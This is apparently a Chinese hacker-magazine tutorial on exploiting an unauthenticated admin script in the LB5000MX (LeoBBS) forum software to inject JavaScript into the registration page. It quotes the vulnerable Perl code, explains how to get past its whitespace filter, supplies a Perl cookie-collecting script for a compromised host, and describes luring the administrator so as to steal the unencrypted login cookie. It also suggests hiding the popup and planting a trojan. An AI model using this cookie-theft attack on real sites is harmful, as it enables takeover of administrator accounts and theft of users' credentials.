果然,注册申明被改成了"我宁愿编写程序去编写程序也不愿编写程序"(图1),联想到既然是通过浏览器来看的,那么应该可以在网页中嵌入代码......em,让我们试个最简单的先!在浏览器中输 http://www.victim.com/lb5000mx/cgi-bin/setregrules.cgi?action=process&;therules=TEST,再到"注册"那里看看,成功了!浏览器上果然只显示了TEST这几个字,而我们输入的,并没有被显示出来,这是因为浏览器把,当作html语言的代码来解释了,既然html语句能够执行,那么JavaScript和VBscript代码应该也能执行,好,让我们再来...把TEST换成,输入浏览器,这次却出错了,这个Javascript语句并没有被执行,打开网页源代码,发现里面没有我们的代码,可见请求并没有正确地提交给服务器,这多少有些奇怪,为了搞清楚原因,二话不说,立刻载了一个LB5000xp MX1201,看了看它的源代码,在setregrules.cgi中有如下语句:
$thisprog = "setregrules.cgi";
$query = new LBCGI;$rules = $query -> param('therules');$action = $query -> param("action");$action = &cleaninput("$action");$inmembername = cookie("adminname");$inpassword = cookie("adminpass");
print header(-charset=>gb2312);
&admintitle;
if ($action eq "process") { //*****这里没有对管理员权限进行验证******//$rules =~ s/\n\n/\n/ig;$rules =~ s/\s /\n/ig; //*******问题就出在这里********//
$filetomake = "$lbdir" . "data/register.dat";open (FILE, ">$filetomake");print FILE $rules;close (FILE);
我们可以看到,倒数第6行有这么一句" $rules =~ s/\s /\n/ig; " 这是perl的语句,意思是把我们提交的字符串中所有的空格和制表符(TAB)替换成回车符("\n").
现在问题很明白了,我们提交这个字符串时setregrules.cgi会自动把,再试试看....通过浏览器提交后,果然成功了,跳出了可爱的hello现在,想想我们准备干什么,我们的目的是拿到论坛管理员的密码,拥有最高权限.....那么我们该怎么做呢?又再次联想到有次听OCEAN2000这个家伙提到,雷奥论坛的cookie没有加密,再加上我们现在有在网页中嵌入代码的能力......hehe,相信大家一定想到了什么吧,对了,就是它!传说中的跨站脚本攻击!......什么?没听说过?!我击">#^@..~&*&!,哦...不要紧,下面我来简要介绍一下,什么是跨站脚本攻击.
跨站脚本攻击,名字听起来挺深奥,其实原理很简单,黑客先在一台机器上(我们假设它是www.tch.com)放入一个脚本,这个脚本用来收集浏览器提交的查询字符串。然后黑客再篡改网页,在里面加入一条Javascript的语句,使受害者浏览这个网页的时候,利用window.open()把受害人的cookie提交给www.tch.com。运行在www.tch.com上的脚本就会自动把cookie保存下来,这样黑客就拿到了储存在cookie中的用户名和密码。这就是跨站脚本攻击......怎么样,是不是很简单呢 : )
好了,相信原理大家都明白了,现在我们要实际操作一下了,先用perl写一个用来收集cookie的小脚本,代码如下:#!/usr/bin/perl###################################this is used to collect cookies.###################################@in=$ENV{'QUERY_STRING'};open FILE,">>cookie.txt";print FILE @in."\n\n";close FILE;
把这个脚本(我们把它保存为want.cgi)放到一台你的肉鸡(这里我们还是假设是www.tch.com) 的cgi-bin或scripts目录下,如果攻击成功,她会生成cookie.txt这个文件,里面存放的就是我们想要的的cookie。
然后就是最关键的一步了,怎么把用户的cookie提交给want.cgi呢??我们利用前面提到的漏洞,把这条javascript语句嵌入网页中:......又是在浏览器中打了一大串之后,不幸的事发生了....我们惊讶地发现,事情并没有我们想像地那么顺利,cookie没有提交给want.cgi。这是为什么呢?让我们再次来看看网页源代码,不难看出want.cgi?' document.cookie变成了want.cgi?' document.cookie。" "号变成了空格。看样子我们得换一条路走了,这里有个小知识要讲一下, 号在unicode编码中是+,所以我们只需把" "号换成+就可以了,这样写:再次提交,我们的代码终于成功执行了,注意标题栏,cookie提交给 http://www.tch.com/cgi-bin/want.cgi
当然,为了让大家能够看清楚,我并没有把新开的转向的那个网页设置成width=0,height=0,其实只要你肯动一下脑筋,伪造一个和本来注册申明一模一样的网页,再把新开的那个网页最小化,一般人是很难发现这种攻击行为的 ; )现在,我们唯一需要做的就是发个短消息给管理员,告诉他"注册"这个页面有问题,只要管理员去看了(当然,他一般什么问题都看不出来),我们就立刻可以知道管理员的密码了,接下来的事。。。。。。
其实,我们对这个漏洞再深入分析一些,就会发现可以有很多不同的攻击手段,比如给管理员种个木马什么的 ......在这里我就不再说了,免得老编们认为我有骗稿费的嫌疑
本文提供给大家了一个思路,就是在看到一些似乎是很小的漏洞时,也应该仔细研究,通常我们可以利用一些技巧,把这个小漏洞扩大化,从而达到我们的目的。同时对管理员来说,对任何小的漏洞都不要掉以轻心,否则后果往往是严重的。